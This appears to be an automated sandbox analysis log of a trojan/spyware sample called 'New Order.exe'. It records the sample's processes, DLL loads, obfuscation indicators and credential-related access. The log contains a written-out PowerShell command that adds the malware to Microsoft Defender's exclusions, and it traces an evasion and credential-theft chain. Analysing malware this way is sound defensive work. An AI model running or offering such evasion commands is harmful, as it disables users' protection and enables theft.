Source: 1.2.New Order.exe.7400000.4.raw.unpack, M7cDBeDIldQIV71LRd.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 1.2.New Order.exe.7400000.4.raw.unpack, M7cDBeDIldQIV71LRd.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 1.2.New Order.exe.7400000.4.raw.unpack, M7cDBeDIldQIV71LRd.cs	Security API names: _0020.AddAccessRule
Source: 1.2.New Order.exe.4006340.0.raw.unpack, KXOu74t9GvIK3VBWFs.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@12/7@20/13

Source: C:\Users\user\Desktop\New Order.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\New Order.exe.log

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7172:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pfobkdz1.5zi.ps1

Source: New Order.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: New Order.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\New Order.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\New Order.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: w32tm.exe, 0000000E.00000003.2689823843.0000000000A73000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000003.2687510954.0000000000A69000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4631373048.0000000000A96000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000003.2687377394.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4631373048.0000000000A69000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: New Order.exe

ReversingLabs: Detection: 57%

Source: unknown	Process created: C:\Users\user\Desktop\New Order.exe "C:\Users\user\Desktop\New Order.exe"
Source: C:\Users\user\Desktop\New Order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\New Order.exe"
Source: C:\Users\user\Desktop\New Order.exe	Process created: C:\Users\user\Desktop\New Order.exe "C:\Users\user\Desktop\New Order.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\New Order.exe	Process created: C:\Users\user\Desktop\New Order.exe "C:\Users\user\Desktop\New Order.exe"
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	Process created: C:\Windows\SysWOW64\w32tm.exe "C:\Windows\SysWOW64\w32tm.exe"
Source: C:\Windows\SysWOW64\w32tm.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\New Order.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\New Order.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process created: C:\Users\user\Desktop\New Order.exe "C:\Users\user\Desktop\New Order.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Process created: C:\Users\user\Desktop\New Order.exe "C:\Users\user\Desktop\New Order.exe"	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	Process created: C:\Windows\SysWOW64\w32tm.exe "C:\Windows\SysWOW64\w32tm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\New Order.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\w32tm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\New Order.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\New Order.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\SysWOW64\w32tm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

.NET source code contains potential unpacker

Source: New Order.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: New Order.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: w32tm.pdb source: New Order.exe, 00000008.00000002.2488836600.0000000001367000.00000004.00000020.00020000.00000000.sdmp, XVZmwHdSYwx.exe, 0000000D.00000002.4633149087.0000000000928000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: XVZmwHdSYwx.exe, 0000000D.00000002.4632680489.000000000075E000.00000002.00000001.01000000.0000000C.sdmp, XVZmwHdSYwx.exe, 00000011.00000002.4628553874.000000000075E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: New Order.exe, 00000008.00000002.2489535674.00000000017D0000.00000040.00001000.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000003.2484890220.0000000003007000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4634316635.000000000350E000.00000040.00001000.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000003.2491039290.00000000031BB000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4634316635.0000000003370000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: New Order.exe, New Order.exe, 00000008.00000002.2489535674.00000000017D0000.00000040.00001000.00020000.00000000.sdmp, w32tm.exe, w32tm.exe, 0000000E.00000003.2484890220.0000000003007000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4634316635.000000000350E000.00000040.00001000.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000003.2491039290.00000000031BB000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 0000000E.00000002.4634316635.0000000003370000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: w32tm.pdbGCTL source: New Order.exe, 00000008.00000002.2488836600.0000000001367000.00000004.00000020.00020000.00000000.sdmp, XVZmwHdSYwx.exe, 0000000D.00000002.4633149087.0000000000928000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Source: 1.2.New Order.exe.4006340.0.raw.unpack, M7cDBeDIldQIV71LRd.cs	.Net Code: WmEujLLlvB System.Reflection.Assembly.Load(byte[])
Source: 1.2.New Order.exe.7400000.4.raw.unpack, M7cDBeDIldQIV71LRd.cs	.Net Code: WmEujLLlvB System.Reflection.Assembly.Load(byte[])
Source: 1.2.New Order.exe.59b0000.3.raw.unpack, L2.cs	.Net Code: System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_02D9EE60 push esp; iretd	1_2_02D9EE61
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_060BF8DC pushad ; iretd	1_2_060BF8DD
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_074A8EF3 push edi; ret	1_2_074A8EFB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 1_2_074A05C8 pushfd ; retf	1_2_074A05D5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0040C0BE push esi; iretd	8_2_0040C0BF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_00403150 push eax; ret	8_2_00403152
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_004071C5 push 064DD826h; ret	8_2_00407218
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_004151E5 push ebp; retf	8_2_004151E6
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0040719F push 064DD826h; ret	8_2_00407218
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0040721A push 064DD826h; ret	8_2_00407218
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0040DB92 pushfd ; retf	8_2_0040DB95
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_00418C64 push ebx; iretd	8_2_00418CBB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_004185B8 push ecx; iretd	8_2_004185B9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018009AD push ecx; mov dword ptr [esp], ecx	8_2_018009B6
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_033A09AD push ecx; mov dword ptr [esp], ecx	14_2_033A09B6
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_00962092 push ebp; retf	14_2_00962093
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_009720AD push esp; retf	14_2_009720BF
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_009540C7 push 064DD826h; ret	14_2_009540C5
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0095404C push 064DD826h; ret	14_2_009540C5
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_00954072 push 064DD826h; ret	14_2_009540C5
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_00958F6B push esi; iretd	14_2_00958F6C
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_009715CE push BF7A2FD7h; iretd	14_2_009715DE
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_009715EF push BF7A2FD7h; iretd	14_2_009715DE
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_00965B11 push ebx; iretd	14_2_00965B68
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0328D368 push C843D3C6h; retf	14_2_0328D373
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0328D2E0 pushad ; iretd	14_2_0328D2E1
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_032861BE push edx; ret	14_2_032861C9
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0328D711 push cs; iretd	14_2_0328D712
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0328F582 push esi; iretd	14_2_0328F653
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0328F5FE push esi; iretd	14_2_0328F653
Source: C:\Windows\SysWOW64\w32tm.exe	Code function: 14_2_0328BB3B pushfd ; retf	14_2_0328BB1C

Source: New Order.exe

Static PE information: section name: .text entropy: 7.814379411138541

Source: 1.2.New Order.exe.4006340.0.raw.unpack, XcFZQ5Wb4jiCmTJ1Nt.cs	High entropy of concatenated method names: 'uKsk4lQj3M', 'PeEkV3mXtX', 'pDwkYm4cHs', 'd5XYTDMMNi', 'GOEYzBWdvf', 'ebckO2rNEn', 'h3YkHQxait', 'qTNk2y22RS', 'C2mkxLdr3d', 'uJSkuB6wiP'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, kPwJ44nc3J1leqjaPO.cs	High entropy of concatenated method names: 'ylJSpnZueR', 'M4QSEUrE51', 'O5NSFKa8QW', 'wKNSim7WC0', 'p1RSyRBumo', 'zKsSCcswEO', 'gJKSWQtYZR', 'wUHSakDYcB', 'blJSUMQrSf', 'glvSoX3mV6'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, KXOu74t9GvIK3VBWFs.cs	High entropy of concatenated method names: 'ebUNmb8pH1', 'vdWNcxqhRR', 'C2MN06w06o', 'sONNKa9xC0', 'MumN1RLuq7', 'B4wN9gbtus', 'n1YNfRCirg', 'z4FN38kRlg', 'rBdNnZTd2h', 'zUZNT0gIa2'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, ucqiXrfx0Syni9p3OA.cs	High entropy of concatenated method names: 'xj7SIwEh7I', 'KP2ShtRn4I', 'f4ZSSjPUSM', 'BJWSXZVnYw', 'IxTS6LZAxg', 'cjMSP2ecGi', 'Dispose', 'Tqxr4Js272', 'LLwrN3I7Lk', 'hArrVMTLSc'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, ELY8UFH2PglgVjiHZY1.cs	High entropy of concatenated method names: 'ToString', 'jnhXtDudCg', 'I4wXBDLb8M', 'HhiXAQpvc6', 'xeMXpiLoB9', 'QpCXEfT7x1', 'lHyXFrV2hL', 'Tt9XiInX9H', 'PvFZ8XCUG71xwiyTyqJ', 'RZ8kZxCNoqfWpbPjWcW'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, efPLxH2TqBFckGjeSR.cs	High entropy of concatenated method names: 'hUUjah354', 'ecBQtjfDm', 'y3X7DK13R', 'nQ9GGCR5b', 'j1BB5JGSI', 'rsqA3MZua', 'kxqeAEb2blXEJDHTwn', 'yqkwC2xDDjfTh94FQR', 'aelrb7V6l', 'Gu0woRAII'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, UUoQ7m0jItuerthGfx.cs	High entropy of concatenated method names: 'ToString', 'C5O8L2Hp2H', 'Dfl8EbqgT8', 'Ydb8FcsssY', 'G968iYUPIt', 'ipa8y8Tgvd', 'EBL8Cl7oxj', 'lIh8WB6NbS', 'j1h8aRJG3R', 'rZY8Uq6HpI'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, oGZrgJB7JtgxmQBWKY.cs	High entropy of concatenated method names: 'ykLVQG22Pg', 'nt9V7bmWNJ', 'YMSVt3N64c', 'NwwVBax4H4', 'rOhVID4MqP', 'Y1WV8wo0pT', 'g98VhqAH4Y', 'WXLVruVNWI', 'VehVSGF8tw', 'lhWVwh3ElO'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, vWyMUjUEPh6pAHEOAY.cs	High entropy of concatenated method names: 'lOHkJhkWgc', 'KY5kM01ErO', 'u3EkjBj6v2', 'DupkQgRTLm', 'r7Mk5L9tQT', 'yZpk701eYt', 'tGOkGbLqC3', 'jJxktS56aJ', 'i37kBTfiDF', 'efikAOXMk1'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, X1i88aq7m6arQ2ji8w.cs	High entropy of concatenated method names: 'WyndtMyewX', 'QPwdBroYYI', 'IFVdpyPsBt', 'HUCdEQiAi4', 'BsadiAASNa', 'M3NdyXgpDy', 'wo7dWlkd2i', 'IbLdaTjDiw', 'lmBdoEkF7B', 'w8WdLL4Gbo'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, FdaFyJu2nRBL1qwfYH.cs	High entropy of concatenated method names: 'm7WHkXOu74', 'VGvHDIK3VB', 'x7JHvtgxmQ', 'EWKHRYOGe2', 'PCaHIj7Lxo', 'ATfH87PnUC', 'eT3T49Us6xvfcvl6eq', 'KX0pwfNJkxsGqaWkIP', 'w6qHHO4etQ', 'bMFHxISJTa'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, M7cDBeDIldQIV71LRd.cs	High entropy of concatenated method names: 'VOlxb272id', 'QLyx4EBed4', 'oSTxN5Bl5L', 'JFOxVktjxy', 'rELxlu9UKP', 'DgCxYlxHbe', 'QWixkNyQa1', 'etQxDXP2Ic', 'AB8xsW5q9M', 'OK0xvyKVlQ'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, DAoITCHHL9yAmQEF0Sb.cs	High entropy of concatenated method names: 'nocwT9wKa6', 'vTcwzcMrxj', 'CVTXOIIkbG', 'noPXHVs3je', 'PD7X2OIQ6D', 'rJdXx6JrsS', 'lFnXuaP9A6', 'xd0XbQ1PJP', 'VgyX4oqfQJ', 'U5eXNkXGXj'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, M8cPLRTsQ9BrfNo7Xb.cs	High entropy of concatenated method names: 'fdgwVvbVGU', 'dakwlfWNHp', 'c1JwY9gM3r', 'oalwk1hbMF', 'svcwSDoUKL', 'MQkwDUdCom', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, qSVPwRK1hd7HZJZpIU.cs	High entropy of concatenated method names: 'I4WhvCmcJj', 'PoxhRNawhm', 'ToString', 'P3Wh46aOhn', 'KAAhN72uFU', 'rHohVPVad0', 'G1HhlhVM1e', 'IGphYDJaZe', 'VnahkUdGG9', 'Y56hDosrCL'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, CuT4rCHueTPBYquwsAX.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'GCrgSmbY1w', 'AyugwcFWUf', 'L6DgX20SCa', 'JDXggNyeNZ', 'WbLg63XRDe', 'ym2geI7WYr', 'kQ2gPUpetr'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, AQkNgb9hTCZmeIj6A0.cs	High entropy of concatenated method names: 'dGZh3Ek89C', 'tvOhTk3COq', 'GfjrOVcJKc', 'ONtrH3WI4D', 'udZhLobbUd', 'iohhZ8J9pt', 'e0ChqgEe3D', 'wRFhmnxuLF', 'kN4hcmG6Q7', 'LaEh0QEu70'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, ODjTiQNTVBNJuwqxEj.cs	High entropy of concatenated method names: 'Dispose', 'rynHni9p3O', 'Ejt2EuRWdE', 'vqOg1SwkWY', 'FbVHT47TG2', 'inEHz45vmG', 'ProcessDialogKey', 'wPD2OPwJ44', 'R3J2H1leqj', 'LPO22U8cPL'
Source: 1.2.New Order.exe.4006340.0.raw.unpack, OxoQTfp7PnUCwN14no.cs	High entropy of concatenated method names: 'QCAYbCe3md', 'ftZYNHEy0p', 'OanYle6ZnM', 'Yv5YkUS4BK', 'vHkYDMvbAh', 'b2Il116Q71', 'y1yl9gBvpE', 'QB0lfJstp7', 'd7el3axQ8C', 'df1lnKpJXZ'
